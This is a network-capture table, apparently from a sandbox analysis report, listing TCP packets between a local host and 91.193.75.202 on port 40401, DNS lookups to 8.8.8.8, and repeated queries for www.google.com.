Sep 13, 2021 06:31:30.205321074 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:30.205398083 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:30.205589056 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:30.349453926 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:30.393567085 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:31.052791119 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:31.052997112 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:31.961035967 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:31.961071968 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:31.961088896 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:31.961105108 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:31.961239100 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:31.969054937 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.018989086 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.111479044 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111557961 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111597061 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111670971 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111711025 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.111717939 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111757994 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111778021 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.111793995 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.111825943 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.111831903 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.112096071 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.165977001 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.166143894 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.169029951 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.258805037 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.258850098 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.258903027 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.258930922 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259001970 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259027004 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259088993 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.259102106 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259123087 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.259126902 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.259196043 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259229898 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259259939 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259290934 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259318113 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259346008 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259371996 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259397984 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259427071 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.259671926 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.317033052 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.317095995 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.317128897 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.317157030 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.317301035 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.317352057 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.406465054 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.406481028 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.406640053 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.406662941 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.406701088 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.406819105 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.406856060 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.406955004 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407006025 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407021046 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407063961 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407088995 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407108068 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407128096 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407227039 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407243967 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407274961 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407289982 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407305956 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407361031 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407444954 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407461882 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407476902 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407495022 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407520056 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407529116 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407543898 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407599926 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407608032 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407668114 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407685995 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407701015 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407716036 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407731056 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407778978 CEST	40401	49777	91.193.75.202	192.168.2.5
Sep 13, 2021 06:31:32.407804012 CEST	49777	40401	192.168.2.5	91.193.75.202
Sep 13, 2021 06:31:32.407814980 CEST	49777	40401	192.168.2.5	91.193.75.202

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 13, 2021 06:29:56.168953896 CEST	61733	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:29:56.211997032 CEST	53	61733	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:13.524416924 CEST	65447	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:13.566392899 CEST	53	65447	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:13.568850994 CEST	52441	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:13.603071928 CEST	53	52441	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:14.043725014 CEST	62176	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:14.078727961 CEST	53	62176	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:14.497840881 CEST	59596	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:14.534738064 CEST	53	59596	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:15.637913942 CEST	65296	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:15.674921036 CEST	53	65296	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:15.705749989 CEST	63183	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:15.741435051 CEST	53	63183	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:15.874941111 CEST	60151	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:15.913578033 CEST	53	60151	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:15.922383070 CEST	56969	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:15.947536945 CEST	53	56969	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:16.990760088 CEST	55161	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:17.023387909 CEST	53	55161	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:17.025871038 CEST	54757	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:17.062602043 CEST	53	54757	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:17.148044109 CEST	49992	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:17.175785065 CEST	53	49992	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:17.253135920 CEST	60075	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:17.283925056 CEST	53	60075	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:19.485994101 CEST	55016	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:19.510647058 CEST	53	55016	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:19.514158010 CEST	64345	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:19.549777985 CEST	53	64345	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:19.616614103 CEST	57128	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:19.644399881 CEST	53	57128	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:19.650311947 CEST	54791	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:19.670268059 CEST	50463	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:19.674988031 CEST	53	54791	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:19.705091953 CEST	53	50463	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:20.723664999 CEST	50394	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:20.751204014 CEST	53	50394	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:20.754981995 CEST	58530	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:20.789928913 CEST	53	58530	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:20.836435080 CEST	53813	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:20.869167089 CEST	53	53813	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:20.878417015 CEST	63732	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:20.911195993 CEST	53	63732	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:21.956305981 CEST	57344	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:21.993246078 CEST	53	57344	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:21.997777939 CEST	54450	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:22.023057938 CEST	53	54450	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:22.066303968 CEST	59261	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:22.099473000 CEST	53	59261	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:22.111704111 CEST	57151	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:22.144267082 CEST	53	57151	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:23.185120106 CEST	59413	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:23.219252110 CEST	53	59413	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:23.231888056 CEST	60516	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:23.268153906 CEST	53	60516	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:23.315959930 CEST	51649	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:23.349200010 CEST	53	51649	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:23.361285925 CEST	65086	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:23.394889116 CEST	53	65086	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:24.436763048 CEST	56432	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:24.461488962 CEST	53	56432	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:24.464550018 CEST	52929	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:24.492667913 CEST	53	52929	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:24.530355930 CEST	64317	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:24.566005945 CEST	53	64317	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:24.576915979 CEST	61004	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:24.610582113 CEST	53	61004	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:25.678458929 CEST	56895	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:25.714939117 CEST	53	56895	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:25.720906019 CEST	62372	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:25.756747961 CEST	53	62372	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:25.827101946 CEST	61515	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:25.860413074 CEST	53	61515	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:25.871449947 CEST	56675	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:25.907494068 CEST	53	56675	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:26.946223974 CEST	57172	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:26.973845005 CEST	53	57172	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:26.977428913 CEST	55267	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:27.004354954 CEST	53	55267	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:27.071995974 CEST	50969	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:27.099924088 CEST	53	50969	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:27.105798960 CEST	64362	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:27.132054090 CEST	53	64362	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:27.835330009 CEST	54766	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:27.871196032 CEST	53	54766	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:28.172518015 CEST	61446	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:28.206593990 CEST	53	61446	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:28.212548971 CEST	57515	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:28.240284920 CEST	53	57515	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:28.308387995 CEST	58199	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:28.335803986 CEST	53	58199	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:28.343619108 CEST	65221	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:28.370954990 CEST	53	65221	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:29.397964954 CEST	61573	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:29.431040049 CEST	53	61573	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:29.434437990 CEST	56562	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:29.460743904 CEST	53	56562	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:29.528681993 CEST	53591	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:29.561176062 CEST	53	53591	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:29.567954063 CEST	59688	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:29.592988014 CEST	53	59688	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:30.624581099 CEST	56032	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:30.658788919 CEST	53	56032	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:30.661755085 CEST	61150	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:30.688102007 CEST	53	61150	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:30.730715036 CEST	63458	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:30.756007910 CEST	53	63458	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:30.764919043 CEST	50422	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:30.789561987 CEST	53	50422	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:31.838839054 CEST	53247	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:31.866705894 CEST	53	53247	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:31.872478962 CEST	58544	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:31.900259018 CEST	53	58544	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:31.938738108 CEST	53814	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:31.971549034 CEST	53	53814	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:31.979809999 CEST	51305	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:32.004839897 CEST	53	51305	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:33.039943933 CEST	53670	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:33.072355986 CEST	53	53670	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:33.074810028 CEST	55160	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:33.099807978 CEST	53	55160	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:33.141463995 CEST	61414	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:33.176800966 CEST	53	61414	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:33.184168100 CEST	63847	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:33.218039989 CEST	53	63847	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:34.244959116 CEST	61523	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:34.281866074 CEST	53	61523	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:34.287139893 CEST	50551	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:34.322180986 CEST	53	50551	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:34.359277010 CEST	62847	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:34.391674995 CEST	53	62847	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:34.401578903 CEST	57712	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:34.433989048 CEST	53	57712	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:35.474236012 CEST	61064	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:35.507160902 CEST	53	61064	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:35.509249926 CEST	61891	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:35.536786079 CEST	53	61891	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:35.609011889 CEST	61585	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:35.634526014 CEST	53	61585	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:35.640058994 CEST	65163	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:35.676203966 CEST	53	65163	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:36.703289986 CEST	58969	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:36.730878115 CEST	53	58969	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:36.735672951 CEST	53977	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:36.760412931 CEST	53	53977	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:36.829845905 CEST	57147	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:36.863596916 CEST	53	57147	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:36.869812965 CEST	52381	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:36.897587061 CEST	53	52381	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:37.937654018 CEST	49231	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:37.965689898 CEST	53	49231	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:37.969114065 CEST	53217	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:37.993853092 CEST	53	53217	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:38.062519073 CEST	52554	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:38.087264061 CEST	53	52554	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:38.093662024 CEST	49603	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:38.118860006 CEST	53	49603	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:39.156078100 CEST	64476	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:39.183747053 CEST	53	64476	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:39.186532974 CEST	49975	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:39.214135885 CEST	53	49975	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:39.282780886 CEST	57701	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:39.310492039 CEST	53	57701	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:39.316947937 CEST	60334	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:39.343240976 CEST	53	60334	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:40.378281116 CEST	64958	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:40.403553009 CEST	53	64958	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:40.406537056 CEST	58504	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:40.431616068 CEST	53	58504	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:40.469342947 CEST	64971	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:40.493963003 CEST	53	64971	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:40.505026102 CEST	58041	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:40.537708998 CEST	53	58041	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:41.572860003 CEST	57764	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:41.598129988 CEST	53	57764	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:41.600373983 CEST	57973	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:41.632759094 CEST	53	57973	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:41.675224066 CEST	63286	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:41.700139046 CEST	53	63286	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:41.706032038 CEST	52589	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:41.733850956 CEST	53	52589	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:42.764756918 CEST	54875	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:42.793143034 CEST	53	54875	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:42.795273066 CEST	49862	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:42.830774069 CEST	53	49862	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:42.867983103 CEST	50119	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:42.893357992 CEST	53	50119	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:42.898778915 CEST	60159	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:42.924103022 CEST	53	60159	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:43.972841024 CEST	49464	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:43.997564077 CEST	53	49464	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:44.002675056 CEST	64650	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:44.027678967 CEST	53	64650	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:44.070255995 CEST	52633	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:44.103745937 CEST	53	52633	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:44.120554924 CEST	56124	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:44.128473043 CEST	55552	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:44.156138897 CEST	53	56124	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:44.163688898 CEST	53	55552	8.8.8.8	192.168.2.5
Sep 13, 2021 06:30:48.651057959 CEST	60813	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:30:48.685645103 CEST	53	60813	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:02.871725082 CEST	50930	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:02.921765089 CEST	53	50930	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:08.100867033 CEST	51582	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:08.138560057 CEST	53	51582	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:29.237931013 CEST	56831	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:29.275338888 CEST	53	56831	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:43.254180908 CEST	56981	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:43.290050030 CEST	53	56981	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:43.314052105 CEST	63599	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:43.339201927 CEST	53	63599	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:43.827763081 CEST	61009	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:43.876674891 CEST	53	61009	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:46.007802963 CEST	57676	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:46.049669027 CEST	53	57676	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:46.452917099 CEST	50687	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:46.490573883 CEST	53	50687	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:50.555787086 CEST	53246	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:50.592705965 CEST	53	53246	8.8.8.8	192.168.2.5
Sep 13, 2021 06:31:59.454987049 CEST	60242	53	192.168.2.5	8.8.8.8
Sep 13, 2021 06:31:59.482949018 CEST	53	60242	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 13, 2021 06:30:13.524416924 CEST	192.168.2.5	8.8.8.8	0xde1d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:13.568850994 CEST	192.168.2.5	8.8.8.8	0x4074	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:14.043725014 CEST	192.168.2.5	8.8.8.8	0xb6f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:14.497840881 CEST	192.168.2.5	8.8.8.8	0x55be	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.637913942 CEST	192.168.2.5	8.8.8.8	0x380c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.705749989 CEST	192.168.2.5	8.8.8.8	0x852	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.874941111 CEST	192.168.2.5	8.8.8.8	0xa0b0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:15.922383070 CEST	192.168.2.5	8.8.8.8	0xc71f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:16.990760088 CEST	192.168.2.5	8.8.8.8	0x41a4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
